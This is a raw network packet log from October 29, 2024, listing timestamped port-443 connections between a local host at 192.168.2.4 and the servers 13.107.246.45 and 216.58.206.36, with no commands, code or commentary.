Oct 29, 2024 10:47:40.033422947 CET	443	49819	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:40.033518076 CET	49819	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:40.033647060 CET	49819	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:40.033667088 CET	443	49819	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:40.066325903 CET	443	49813	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:40.066459894 CET	443	49813	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:40.066515923 CET	49813	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:40.066621065 CET	49813	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:40.066641092 CET	443	49813	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:40.066658020 CET	49813	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:40.066664934 CET	443	49813	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:40.067805052 CET	443	49815	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:40.067948103 CET	443	49815	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:40.067996979 CET	49815	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:40.068183899 CET	49815	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:40.068192005 CET	443	49815	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:40.068202972 CET	49815	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:40.068208933 CET	443	49815	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:40.068861961 CET	49820	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:40.068905115 CET	443	49820	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:40.068978071 CET	49820	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:40.069322109 CET	49820	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:40.069344997 CET	443	49820	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:40.070545912 CET	49821	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:40.070616007 CET	443	49821	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:40.070755005 CET	49821	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:40.070967913 CET	49821	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:40.071017981 CET	443	49821	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:40.755875111 CET	443	49817	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:40.756814003 CET	49817	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:40.756814003 CET	49817	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:40.756902933 CET	443	49817	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:40.756951094 CET	443	49817	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:40.780574083 CET	443	49818	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:40.781331062 CET	49818	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:40.781331062 CET	49818	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:40.781424046 CET	443	49818	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:40.781516075 CET	443	49818	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:40.801939964 CET	443	49819	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:40.802659035 CET	49819	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:40.802659035 CET	49819	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:40.802683115 CET	443	49819	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:40.802721977 CET	443	49819	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:40.808747053 CET	443	49821	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:40.809570074 CET	49821	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:40.809570074 CET	49821	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:40.809616089 CET	443	49821	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:40.809669971 CET	443	49821	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:40.815794945 CET	443	49820	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:40.816569090 CET	49820	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:40.816569090 CET	49820	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:40.816613913 CET	443	49820	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:40.816659927 CET	443	49820	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:40.889261961 CET	443	49817	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:40.889349937 CET	443	49817	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:40.889585972 CET	49817	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:40.889671087 CET	49817	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:40.889671087 CET	49817	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:40.889709949 CET	443	49817	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:40.889734983 CET	443	49817	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:40.894207954 CET	49822	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:40.894268036 CET	443	49822	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:40.894443989 CET	49822	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:40.894571066 CET	49822	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:40.894609928 CET	443	49822	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:40.912039042 CET	443	49818	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:40.912168980 CET	443	49818	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:40.912331104 CET	49818	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:40.912331104 CET	49818	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:40.912508965 CET	49818	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:40.912550926 CET	443	49818	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:40.914930105 CET	49823	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:40.914979935 CET	443	49823	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:40.915080070 CET	49823	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:40.915227890 CET	49823	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:40.915256023 CET	443	49823	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:40.938752890 CET	443	49819	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:40.938891888 CET	443	49819	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:40.939011097 CET	49819	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:40.939011097 CET	49819	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:40.939054012 CET	49819	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:40.939070940 CET	443	49819	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:40.939246893 CET	443	49821	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:40.939429045 CET	443	49821	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:40.941211939 CET	49824	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:40.941246986 CET	443	49824	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:40.941282034 CET	49821	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:40.941302061 CET	49821	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:40.941302061 CET	49821	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:40.941313982 CET	443	49821	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:40.941324949 CET	443	49821	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:40.941382885 CET	49824	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:40.941520929 CET	49824	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:40.941540956 CET	443	49824	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:40.943203926 CET	49825	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:40.943233967 CET	443	49825	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:40.943645954 CET	49825	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:40.943645954 CET	49825	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:40.943681955 CET	443	49825	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:40.947278023 CET	443	49820	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:40.947460890 CET	443	49820	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:40.947566032 CET	49820	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:40.947566986 CET	49820	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:40.948247910 CET	49820	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:40.948268890 CET	443	49820	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:40.949398041 CET	49826	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:40.949408054 CET	443	49826	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:40.949656010 CET	49826	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:40.949656010 CET	49826	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:40.949681997 CET	443	49826	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:41.615906000 CET	443	49822	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:41.616415977 CET	49822	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:41.616492987 CET	443	49822	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:41.616856098 CET	49822	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:41.616872072 CET	443	49822	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:41.663191080 CET	443	49823	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:41.663719893 CET	49823	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:41.663757086 CET	443	49823	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:41.664254904 CET	49823	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:41.664262056 CET	443	49823	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:41.667009115 CET	443	49824	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:41.667399883 CET	49824	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:41.667419910 CET	443	49824	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:41.667782068 CET	49824	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:41.667788982 CET	443	49824	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:41.678776979 CET	443	49825	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:41.679169893 CET	49825	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:41.679187059 CET	443	49825	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:41.679598093 CET	49825	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:41.679604053 CET	443	49825	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:41.684987068 CET	443	49826	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:41.685290098 CET	49826	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:41.685302973 CET	443	49826	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:41.685682058 CET	49826	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:41.685686111 CET	443	49826	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:42.087676048 CET	443	49823	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:42.087773085 CET	443	49823	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:42.087893963 CET	443	49822	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:42.087951899 CET	49823	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:42.087982893 CET	443	49824	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:42.088017941 CET	49823	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:42.088017941 CET	49823	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:42.088046074 CET	443	49824	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:42.088053942 CET	443	49823	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:42.088056087 CET	443	49826	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:42.088058949 CET	443	49822	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:42.088088036 CET	443	49823	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:42.088123083 CET	49824	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:42.088129044 CET	443	49825	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:42.088159084 CET	49822	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:42.088222980 CET	443	49826	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:42.088264942 CET	49822	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:42.088264942 CET	49822	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:42.088309050 CET	443	49822	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:42.088341951 CET	443	49825	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:42.088346004 CET	49826	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:42.088352919 CET	443	49822	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:42.088449955 CET	49824	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:42.088457108 CET	49825	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:42.088473082 CET	443	49824	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:42.088489056 CET	49824	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:42.088498116 CET	443	49824	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:42.088543892 CET	49826	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:42.088543892 CET	49826	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:42.088551044 CET	443	49826	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:42.088560104 CET	443	49826	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:42.089191914 CET	49825	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:42.089225054 CET	443	49825	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:42.089262009 CET	49825	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:42.089279890 CET	443	49825	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:42.092283010 CET	49828	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:42.092291117 CET	49827	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:42.092318058 CET	443	49828	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:42.092334032 CET	443	49827	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:42.092432022 CET	49828	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:42.092513084 CET	49827	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:42.093234062 CET	49828	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:42.093250036 CET	443	49828	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:42.093352079 CET	49829	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:42.093383074 CET	443	49829	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:42.093549967 CET	49829	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:42.093560934 CET	49827	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:42.093590021 CET	443	49827	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:42.093657017 CET	49829	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:42.093667984 CET	443	49829	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:42.093693018 CET	49830	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:42.093707085 CET	443	49830	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:42.093852043 CET	49830	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:42.093852043 CET	49830	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:42.093871117 CET	443	49830	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:42.094578028 CET	49831	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:42.094585896 CET	443	49831	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:42.094800949 CET	49831	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:42.094887018 CET	49831	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:42.094894886 CET	443	49831	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:42.821341038 CET	443	49827	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:42.821881056 CET	49827	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:42.821908951 CET	443	49827	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:42.822340012 CET	49827	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:42.822355032 CET	443	49827	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:42.832673073 CET	443	49830	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:42.832715034 CET	443	49831	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:42.832743883 CET	443	49828	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:42.833152056 CET	49830	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:42.833184004 CET	49831	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:42.833189964 CET	443	49830	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:42.833206892 CET	443	49831	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:42.833543062 CET	49830	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:42.833549023 CET	443	49830	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:42.833673000 CET	49831	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:42.833678961 CET	443	49831	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:42.833925962 CET	49828	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:42.833933115 CET	443	49828	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:42.834187031 CET	49828	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:42.834191084 CET	443	49828	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:42.845613956 CET	443	49829	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:42.846155882 CET	49829	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:42.846168995 CET	443	49829	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:42.846529007 CET	49829	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:42.846533060 CET	443	49829	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:42.952969074 CET	443	49827	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:42.953131914 CET	443	49827	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:42.953378916 CET	49827	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:42.953378916 CET	49827	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:42.953407049 CET	49827	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:42.953422070 CET	443	49827	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:42.956001043 CET	49832	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:42.956096888 CET	443	49832	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:42.956326008 CET	49832	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:42.956581116 CET	49832	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:42.956621885 CET	443	49832	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:42.962785006 CET	443	49830	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:42.962939978 CET	443	49831	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:42.962950945 CET	443	49830	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:42.963058949 CET	49830	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:42.963095903 CET	49830	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:42.963095903 CET	49830	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:42.963112116 CET	443	49830	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:42.963119030 CET	443	49831	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:42.963121891 CET	443	49830	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:42.963238001 CET	49831	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:42.963267088 CET	49831	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:42.963267088 CET	49831	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:42.963279009 CET	443	49831	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:42.963280916 CET	443	49831	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:42.963416100 CET	443	49828	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:42.963537931 CET	443	49828	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:42.963823080 CET	49828	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:42.963963985 CET	49828	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:42.963963985 CET	49828	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:42.963969946 CET	443	49828	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:42.963977098 CET	443	49828	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:42.965821028 CET	49833	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:42.965895891 CET	443	49833	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:42.966104031 CET	49834	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:42.966131926 CET	443	49834	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:42.966190100 CET	49833	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:42.966221094 CET	49834	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:42.966420889 CET	49833	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:42.966454029 CET	443	49833	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:42.966506958 CET	49834	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:42.966536045 CET	443	49834	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:42.967027903 CET	49835	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:42.967051029 CET	443	49835	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:42.967216015 CET	49835	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:42.967216969 CET	49835	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:42.967257023 CET	443	49835	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:43.010206938 CET	443	49829	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:43.010274887 CET	443	49829	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:43.010445118 CET	49829	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:43.010445118 CET	49829	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:43.010445118 CET	49829	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:43.012449980 CET	49836	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:43.012535095 CET	443	49836	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:43.012612104 CET	49836	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:43.012763977 CET	49836	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:43.012799025 CET	443	49836	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:43.311333895 CET	49829	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:43.311348915 CET	443	49829	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:43.887495995 CET	443	49833	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:43.888025999 CET	49833	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:43.888087988 CET	443	49833	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:43.888120890 CET	443	49836	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:43.888519049 CET	49833	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:43.888534069 CET	443	49833	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:43.888585091 CET	49836	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:43.888648987 CET	443	49836	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:43.888940096 CET	49836	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:43.888958931 CET	443	49836	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:43.892293930 CET	443	49835	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:43.892618895 CET	49835	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:43.892647028 CET	443	49835	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:43.892713070 CET	443	49832	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:43.892930984 CET	443	49834	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:43.893234968 CET	49835	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:43.893244982 CET	443	49835	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:43.893567085 CET	49832	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:43.893625021 CET	443	49832	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:43.893676996 CET	49834	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:43.893692970 CET	443	49834	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:43.893968105 CET	49832	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:43.893980026 CET	443	49832	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:43.894190073 CET	49834	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:43.894201040 CET	443	49834	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:44.001363039 CET	49837	443	192.168.2.4	216.58.206.36
Oct 29, 2024 10:47:44.001414061 CET	443	49837	216.58.206.36	192.168.2.4
Oct 29, 2024 10:47:44.001490116 CET	49837	443	192.168.2.4	216.58.206.36
Oct 29, 2024 10:47:44.001703978 CET	49837	443	192.168.2.4	216.58.206.36
Oct 29, 2024 10:47:44.001719952 CET	443	49837	216.58.206.36	192.168.2.4
Oct 29, 2024 10:47:44.017180920 CET	443	49833	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:44.017308950 CET	443	49833	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:44.017374992 CET	49833	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:44.017463923 CET	49833	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:44.017463923 CET	49833	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:44.017518997 CET	443	49833	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:44.017544031 CET	443	49833	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:44.019027948 CET	443	49836	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:44.019602060 CET	443	49836	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:44.019676924 CET	49836	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:44.019783020 CET	49836	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:44.019802094 CET	443	49836	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:44.019814014 CET	49836	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:44.019820929 CET	443	49836	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:44.020189047 CET	49838	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:44.020210028 CET	443	49838	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:44.020318031 CET	49838	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:44.020534992 CET	49838	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:44.020561934 CET	443	49838	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:44.021806955 CET	49839	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:44.021888018 CET	443	49839	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:44.021969080 CET	49839	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:44.022121906 CET	49839	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:44.022156954 CET	443	49839	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:44.023871899 CET	443	49834	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:44.023927927 CET	443	49835	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:44.024069071 CET	443	49834	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:44.024117947 CET	443	49832	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:44.024147987 CET	49834	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:44.024214983 CET	49834	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:44.024239063 CET	443	49835	13.107.246.45	192.168.2.4
